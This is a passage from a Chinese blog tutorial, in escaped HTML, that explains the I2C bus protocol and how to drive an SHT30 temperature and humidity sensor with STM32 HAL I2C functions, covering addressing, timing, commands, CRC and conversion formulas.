\u003cstrong\u003e学习一遍IIC协议\u003c/strong\u003e 。图个方便,这次先用硬件IIC。\u003c/p\u003e\u003ch2 id=\"IIC-协议\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#IIC-%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"IIC 协议\"\u003e\u003c/a\u003eIIC 协议\u003c/h2\u003e\u003ch2 id=\"I2C协议介绍\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#I2C%E5%8D%8F%E8%AE%AE%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"I2C协议介绍\"\u003e\u003c/a\u003eI2C协议介绍\u003c/h2\u003e\u003ch3 id=\"(1)I2C协议简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89I2C%E5%8D%8F%E8%AE%AE%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"(1)I2C协议简介\"\u003e\u003c/a\u003e(1)I2C协议简介\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e【省流版】:\u003c/p\u003e\u003cp\u003e串行通信协议的一种,属于串行通信协议中的半双工同步通信。\u003c/p\u003e\u003cp\u003eIIC是一种被定义好的标准,采用二线制,一条数据线,一条时钟线;\u003c/p\u003e\u003cp\u003e数据线传输数据,一位一位传输;时钟线控制传输速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eI2C总线是Philips公司在八十年代初推出的一种\u003cstrong\u003e串行、半双工的总线\u003c/strong\u003e,主要用于近距离、低速的芯片之间的通信。\u003c/p\u003e\u003cp\u003e每个IIC器件有两条线路:\u003c/p\u003e\u003cul\u003e\u003cli\u003eSDA是供主器件和节点发送和接收数据的线路。\u003c/li\u003e\u003cli\u003eSCL是承载时钟信号的线路。SCL总是由I2C主器件生成。规范对时钟信号的低相位和高相位有最短周期要求。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eI2C总线仅使用两条双向线路:每个器件的SDA和SCL用于简单的IC间通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/11.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e硬件最重要的注意是在SDA和SCL上加入上拉电阻。I2C器件通过开集或开漏引脚连接到总线,将线路拉低。当没有数据传输时,I2C总线处于高电平空闲状态;线路被被动拉高。要传输数据,须切换线路,即先拉低再释放(又变为高电平)。数据位在时钟下降沿传输。\u003c/p\u003e\u003cp\u003e开漏输出需要一个上拉电阻(Rp)才能正确输出高电平。上拉电阻连接在输出引脚和高电平所需的输出电压(VDD)之间。\u003c/p\u003e\u003cp\u003e对于VCC和VDD (5 V)的典型值,4700 Ω是最常用的上拉电阻值。\u003c/p\u003e\u003cp\u003eI2C总线是一种主从结构(Master/Slave)总线, I2C总线上的每一个设备都可以作为主设备或者从设备,但一个总线上一般只有一个主设备,可以带多个从设备。其中主设备用来产生允许传输的时钟信号,并初始化总线的数据传输,所以主设备通常是CPU,而从设备只能被动响应主设备发起的通信请求,所以各种I2C接口芯片将作为从设备使用。\u003c/p\u003e\u003ch4 id=\"(2)I2C从设备地址\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89I2C%E4%BB%8E%E8%AE%BE%E5%A4%87%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"(2)I2C从设备地址\"\u003e\u003c/a\u003e(2)I2C从设备地址\u003c/h4\u003e\u003cp\u003e因为一个I2C总线上可以有多个从设备,这样主设备需要通过地址来确定与哪个器件进行通信。I2C总线上每个从设备都有一个唯一的7bit地址物理识别,这个地址固化在芯片内部,并可以从芯片datasheet上找到。\u003c/p\u003e\u003cp\u003eI2C有16个保留地址。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/12.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e其中I2C的从器件地址(本次SHT30只用到了7位的)的组成如下:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e1byte = 7bit地址 + 1bit读写标志\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e注:1bit读写标志中,0-发送数据(写),1-请求数据(读)\u003c/p\u003e\u003cp\u003e有些时候一个总线上可能需要挂多个同一芯片,这样有些芯片还需要引出一个或几个引脚,由开发板设计电路来决定其具体地址,从而让不同芯片具有不同的7bit物理地址。\u003c/p\u003e\u003ch3 id=\"I2C通信时序\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#I2C%E9%80%9A%E4%BF%A1%E6%97%B6%E5%BA%8F\" class=\"headerlink\" title=\"I2C通信时序\"\u003e\u003c/a\u003eI2C通信时序\u003c/h3\u003e\u003cp\u003e在I2C总线上传送的每一位数据都由一个同步时钟脉冲相对应,即在SCL串行时钟的配合下,数据在SDA上从高位向低位依次串行传送每一位的数据。IIC通信时序图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/13.webp\" style=\"zoom:80%;\"/\u003e\u003ch4 id=\"(1)起始位\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89%E8%B5%B7%E5%A7%8B%E4%BD%8D\" class=\"headerlink\" title=\"(1)起始位\"\u003e\u003c/a\u003e(1)起始位\u003c/h4\u003e\u003cp\u003eI2C总线在空闲时SDA和SCL都处于高电平状态(由上拉电阻拉成高电平),当主设备要开始一次I2C通信时就发送一个START(S)信号,这个起始位就可以告诉所有I2C从机, “我”要开始进行I2C通信了;当要结束一次I2C通信时,则发送一个STOP信号结束本次通信。\u003c/p\u003e\u003cp\u003eSTART(S):当SCL保持高电平时候,SDA出现下降沿,产生一个起始位,注意SCL一定要在高电平。\u003cbr/\u003eSTOP( P ):当SCL保持高电平时候,SDA出现上升沿,产生一个停止位,注意SCL一定要在高电平。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/14.webp\" style=\"zoom: 67%;\"/\u003e\u003ch4 id=\"(2)读写地址\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89%E8%AF%BB%E5%86%99%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"(2)读写地址\"\u003e\u003c/a\u003e(2)读写地址\u003c/h4\u003e\u003cp\u003e主机在发送START信号之后,第2个时序应该立刻给出要通信的目标从机物理地址。此外,I2C总线是一种能够实现半双工通信的同步串行通信协议,站在主设备的角度来看应该具有读/写从设备的功能。\u003c/p\u003e\u003cp\u003e这时候I2C的读写地址除了7bit物理地址以外,还有1bit用来标识读/写方向位。这样I2C的从设备读写地址通常是一个字节,其中高7bit是上面描述的物理地址,最低位用来表示读写方向(0为写操作, 1为读操作)\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/15.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"(3)I2C应答信号\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%883%EF%BC%89I2C%E5%BA%94%E7%AD%94%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"(3)I2C应答信号\"\u003e\u003c/a\u003e(3)I2C应答信号\u003c/h4\u003e\u003cp\u003e主机往I2C总线上传输器件地址,所有的从机接收到这个地址后与自己的地址相比较若相同则发出一个应答ACK(Acknowledge)信号,主机收到这个应答信号后通讯连接建立成功,若未收到应答信号则表示寻址失败。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/16.webp\" style=\"zoom: 67%;\"/\u003e\u003cp\u003e此外,主/从机在之后的数据通信中,数据接收方(可能是主机也可能是从机)收到传输的一个字节数据后,需要给出响应,此时处在第九个时钟,发送端释放SDA线控制权,将SDA电平拉高,由接收方控制。\u003c/p\u003e\u003cul\u003e\u003cli\u003e若希望继续,则给出“应答(ACK, Acknowledge)”信号,即SDA为低电平\u003c/li\u003e\u003cli\u003e若不希望继续,则给出“非应答(NACK,Not Acknowledge) ”信号,即SDA为高电平\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"(4)数据位发送与接收\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%884%EF%BC%89%E6%95%B0%E6%8D%AE%E4%BD%8D%E5%8F%91%E9%80%81%E4%B8%8E%E6%8E%A5%E6%94%B6\" class=\"headerlink\" title=\"(4)数据位发送与接收\"\u003e\u003c/a\u003e(4)数据位发送与接收\u003c/h4\u003e\u003cp\u003e主机在收到从机的应答信号之后,开始给从机发送数据。SDA数据线上的每个字节必须是8位,每次传输的字节数量没有限制,每个字节发送完成之后,从机必须跟一个应答信号。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/17.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003eI2C总线通信时数据位传输采用MSB(最高位优先)方式发送,其中高电平表示数据位1,低电平表示数据位0。\u003c/p\u003e\u003cp\u003e当传输的数据位需要改变时(如上一个位发送的是1,下一个位要发送0),必须发生在SCL为低电平期间。另外在传输过程中, SDA上的数据位在SCL高电平期间必须保持稳定不变。\u003c/p\u003e\u003cp\u003e假设SCL在高电平,想一下是不是就会触发起始位或者终止位。想一想起始信号与停止信号是怎么发送的就会明白为什么SCL一定要在高电平才能改变SDA。\u003c/p\u003e\u003ch3 id=\"I2C协议主机收发数据流程\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#I2C%E5%8D%8F%E8%AE%AE%E4%B8%BB%E6%9C%BA%E6%94%B6%E5%8F%91%E6%95%B0%E6%8D%AE%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"I2C协议主机收发数据流程\"\u003e\u003c/a\u003eI2C协议主机收发数据流程\u003c/h3\u003e\u003ch4 id=\"(1)主机发送数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89%E4%B8%BB%E6%9C%BA%E5%8F%91%E9%80%81%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"(1)主机发送数据\"\u003e\u003c/a\u003e(1)主机发送数据\u003c/h4\u003e\u003cp\u003e主机在检测到总线为“空闲状态”(即 SDA、SCL 线均为高电平)时,发送一个启动信号“S”,开始一次通信的开始;\u003c/p\u003e\u003cp\u003e主机接着发送一个从设备地址,它由7bit物理地址和1bit读写控制位R/W组成(此时R/W=0);\u003cbr/\u003e相对应的从机收到命令字节后向主机回馈应答信号 ACK(ACK=0);\u003c/p\u003e\u003cp\u003e主机收到从机的应答信号后开始发送第一个字节的数据;\u003c/p\u003e\u003cp\u003e从机收到数据后返回一个应答信号 ACK;\u003c/p\u003e\u003cp\u003e主机收到应答信号后再发送下一个数据字节;\u003c/p\u003e\u003cp\u003e当主机发送最后一个数据字节并收到从机的 ACK 后,通过向从机发送一个停止信号P结束本次通信并释放总线。从机收到P信号后也退出与主机之间的通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/18.webp\" style=\"zoom:67%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机通过发送地址码与对应的从机建立了通信关系,而挂接在总线上的其它从机虽然同时也收到了地址码,但因为与其自身的地址不相符合,因此提前退出与主机的通信;\u003c/li\u003e\u003cli\u003e主机的一次发送通信,其发送的数据数量不受限制。主机是通过 P 信号通知发送的结束,从机收到 P 信号后退出本次通信;\u003c/li\u003e\u003cli\u003e主机的每一次发送后都是通过从机的 ACK 信号了解从机的接收状况,如果应答错误则重发。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch4 id=\"(2)主机接收数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89%E4%B8%BB%E6%9C%BA%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"(2)主机接收数据\"\u003e\u003c/a\u003e(2)主机接收数据\u003c/h4\u003e\u003cul\u003e\u003cli\u003e主机发送起始信号后,接着发送地址字节(其中R/W=1);\u003c/li\u003e\u003cli\u003e对应的从机收到地址字节后,返回一个应答信号并向主机发送数据;\u003c/li\u003e\u003cli\u003e主机收到数据后向从机反馈一个应答信号ACK;\u003c/li\u003e\u003cli\u003e从机收到应答信号后再向主机发送下一个数据;\u003c/li\u003e\u003cli\u003e当主机完成接收数据后,向从机发送一个NAK,从机收到非应答信号后便停止发送;\u003c/li\u003e\u003cli\u003e主机发送非应答信号后,再发送一个停止信号,释放总线结束通信。\u003c/li\u003e\u003c/ul\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/19.webp\" style=\"zoom:67%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机所接收数据的数量是由主机自身决定,当发送“非应答信号NAK”时从机便结束传送并释放总线。\u003c/li\u003e\u003cli\u003e非应答信号的两个作用:前一个数据接收成功,停止从机的再次发送。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch2 id=\"SHT30-温湿度传感器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30-%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8\" class=\"headerlink\" title=\"SHT30 温湿度传感器\"\u003e\u003c/a\u003eSHT30 温湿度传感器\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)睡醒再写……\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eSHT3X数据手册下载: \u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"SHT30简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"SHT30简介\"\u003e\u003c/a\u003eSHT30简介\u003c/h3\u003e\u003cp\u003eSHT30数字温湿度传感器采用业内知名的瑞士Sensirion公司推出的新一代SHT30温湿度传感器芯片,它能够提供极高的可靠性和出色的长期稳定性,具有功耗低、反应快、抗干扰能力强等优点。IIC通讯,兼容3.3V/5V,可以非常容易的集成到智能楼宇、天气站、仓库存储、养殖、孵化等应用场景中,其中小米的温湿度传感器使用的也是SHT30。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/index.webp\" style=\"zoom: 50%;\"/\u003e\u003cul\u003e\u003cli\u003e高精度,内部自动校准,数字输出\u003c/li\u003e\u003cli\u003e低功耗、响应速度快、抗干扰能力强\u003c/li\u003e\u003cli\u003e兼容3.3V/5V控制器\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"SHT30工作原理\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"SHT30工作原理\"\u003e\u003c/a\u003eSHT30工作原理\u003c/h3\u003e\u003cp\u003eSHT30 芯片有八个引脚,利用I2C进行数据传输,具有两个可选地址,宽电源电压从2.4V到5.5V。下面是引脚说明:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e管脚\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e备注\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eSDA\u003c/td\u003e\u003ctd\u003eI2C数据引脚,输入/输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eADDR\u003c/td\u003e\u003ctd\u003e地址引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003eALENT\u003c/td\u003e\u003ctd\u003e报警引脚,输出;\u003cstrong\u003e不使用时悬空\u003c/strong\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e4\u003c/td\u003e\u003ctd\u003eSCL\u003c/td\u003e\u003ctd\u003eI2C时钟引脚,输入/输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e5\u003c/td\u003e\u003ctd\u003eVDD\u003c/td\u003e\u003ctd\u003e电源引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e6\u003c/td\u003e\u003ctd\u003enRESET\u003c/td\u003e\u003ctd\u003e复位引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e7\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e无用引脚,接地\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e8\u003c/td\u003e\u003ctd\u003eVSS\u003c/td\u003e\u003ctd\u003e接地引脚\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT30地址选择\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E5%9C%B0%E5%9D%80%E9%80%89%E6%8B%A9\" class=\"headerlink\" title=\"SHT30地址选择\"\u003e\u003c/a\u003eSHT30地址选择\u003c/h4\u003e\u003cp\u003eSHT3x有两个地址,可以将\u003ccode\u003eADDR\u003c/code\u003e接到不同电平进行切换:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eSHT3x-DIS\u003c/th\u003e\u003cth\u003eI2C地址\u003c/th\u003e\u003cth\u003e条件\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eI2C地址A\u003c/td\u003e\u003ctd\u003e0x44(默认)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e低\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI2C地址B\u003c/td\u003e\u003ctd\u003e0x45\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e高\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT3x电路图\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT3x%E7%94%B5%E8%B7%AF%E5%9B%BE\" class=\"headerlink\" title=\"SHT3x电路图\"\u003e\u003c/a\u003eSHT3x电路图\u003c/h4\u003e\u003cp\u003e因为是开漏,所以记得将\u003ccode\u003eSDA\u003c/code\u003e,\u003ccode\u003eSCL\u003c/code\u003e两个引脚拉高。(因为直接买的模块,所以就不用操心了。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/20.webp\" alt=\"电路图\" style=\"zoom:67%;\"/\u003e\u003ch3 id=\"SHT30数据采集\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86\" class=\"headerlink\" title=\"SHT30数据采集\"\u003e\u003c/a\u003eSHT30数据采集\u003c/h3\u003e\u003cp\u003eSHT3x有单次测量命令数据采集模式和周期性测量命令数据采集模式,这里选择\u003cstrong\u003e周期性测量命令数据采集模式\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"定期数据采集模式的测量命令\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%AE%9A%E6%9C%9F%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86%E6%A8%A1%E5%BC%8F%E7%9A%84%E6%B5%8B%E9%87%8F%E5%91%BD%E4%BB%A4\" class=\"headerlink\" title=\"定期数据采集模式的测量命令\"\u003e\u003c/a\u003e定期数据采集模式的测量命令\u003c/h4\u003e\u003cp\u003e在这种模式下,一个发出的测量命令会产生一个数据对流。每个数据对由一个16位温度值和一个16位湿度值(按此顺序)组成。在周期模式下,可以选择不同的测量命令。对应的16位命令如表9所示。它们在可重复性(低、中、高)和数据采集频率(每秒0.5、1、2、4和10次测量值,mps)方面存在差异。在此模式下不能选择时钟拉伸。数据采集频率和可重复性设置会影响传感器的测量持续时间和电流消耗。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/21.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e根据表格的通信时序,主机发送起始信号,然后发送从机地址加写指令命令,等待从机应答,再发送命令的高位(MSB),等待从机应答,再发送命令的低位(LSB)。\u003c/p\u003e\u003ch4 id=\"周期模式下测量结果的读数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%91%A8%E6%9C%9F%E6%A8%A1%E5%BC%8F%E4%B8%8B%E6%B5%8B%E9%87%8F%E7%BB%93%E6%9E%9C%E7%9A%84%E8%AF%BB%E6%95%B0\" class=\"headerlink\" title=\"周期模式下测量结果的读数\"\u003e\u003c/a\u003e周期模式下测量结果的读数\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e读数据的命令是: \u003ccode\u003e0xE000\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/22.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e读数可以通过上表所示的命令启动。如果没有测量数据,I2C读取头用NACK而不是ACK(表中的位9)响应,通信停止。\u003c/p\u003e\u003cp\u003e空白的数据块是由32发送,黑色的数据块是由SHT30发送。\u003c/p\u003e\u003cp\u003e根据表中的通信时序,获取SHT30的温湿度数据,获取到的是16位的温度值和16位的湿度值,温度和湿度后都有CRC-8校验。\u003c/p\u003e\u003ch4 id=\"SHT30复位\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#SHT30%E5%A4%8D%E4%BD%8D\" class=\"headerlink\" title=\"SHT30复位\"\u003e\u003c/a\u003eSHT30复位\u003c/h4\u003e\u003cp\u003eSHT30的系统复位有两种方式,一种是发出命令(软重置),一种是通过外部向专用复位引脚(\u003ccode\u003enRESET\u003c/code\u003e)发送脉冲。我们选择\u003cstrong\u003e软重置\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e软重置的命令是: \u003ccode\u003e0x30A2\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/23.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"差错校验\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%B7%AE%E9%94%99%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"差错校验\"\u003e\u003c/a\u003e差错校验\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e \u003cdel\u003e(原理进行一个参考链接的抄)\u003c/del\u003e\u003c/p\u003e\u003cp\u003eCRC覆盖了先前传输的两个数据字节的内容。 为了计算校验和,仅使用这两个先前发送的数据字节。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/24.webp\" style=\"zoom:67%;\"/\u003e\u003ch4 id=\"温湿度转换\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E6%B8%A9%E6%B9%BF%E5%BA%A6%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cp\u003e测量数据始终以 16 位值(无符号整数)形式传输。 这些值已经线性化并补偿了温度和电源电压的影响。 可以使用以下公式将这些原始值转换为物理标度。\u003c/p\u003e\u003cp\u003e相对湿度换算公式(结果以%RH为单位):\u003c/p\u003e\u003cp\u003e$$RH=100\\times \\frac{S_{RH}}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e温度换算公式(结果以 °C 和 °F 为单位):\u003c/p\u003e\u003cp\u003e$$T[°C]=-45+175\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$$T[°F]=-49+315\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$S_{RH}$ 和 $S_{T}$ 分别表示湿度和温度的原始传感器输出。 仅当$S_{RH}$ 和 $S_{T}$ 以十进制表示形式使用时,这些公式才能正确工作。\u003c/p\u003e\u003ch2 id=\"代码驱动SHT30\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E4%BB%A3%E7%A0%81%E9%A9%B1%E5%8A%A8SHT30\" class=\"headerlink\" title=\"代码驱动SHT30\"\u003e\u003c/a\u003e代码驱动SHT30\u003c/h2\u003e\u003cp\u003e首先使用 STM32CubeMX进行一些常规配置,时钟,调试选项……\u003c/p\u003e\u003cp\u003e然后配置串口: \u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e在I2C2中选择I2C,打开硬件I2C。\u003c/p\u003e\u003ch3 id=\"HAL库中I2C发送接收数据函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#HAL%E5%BA%93%E4%B8%ADI2C%E5%8F%91%E9%80%81%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"HAL库中I2C发送接收数据函数\"\u003e\u003c/a\u003eHAL库中I2C发送接收数据函数\u003c/h3\u003e\u003ch4 id=\"(1)HAL-I2C-Master-Transmit\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89HAL-I2C-Master-Transmit\" class=\"headerlink\" title=\"(1)HAL_I2C_Master_Transmit()\"\u003e\u003c/a\u003e(1)HAL_I2C_Master_Transmit()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC发送数据,主机需要将数据通过IIC发送过去\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e参数介绍:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e*hi2c\u003c/code\u003e 设置使用的是那个IIC\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDevAddress\u003c/code\u003e 写入的地址,设置写入数据的地址\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*pData\u003c/code\u003e 需要写入的数据\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSize\u003c/code\u003e 要发送的字节数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eTimeout\u003c/code\u003e 最大传输时间,超过传输时间将自动退出传输函数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解():\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" 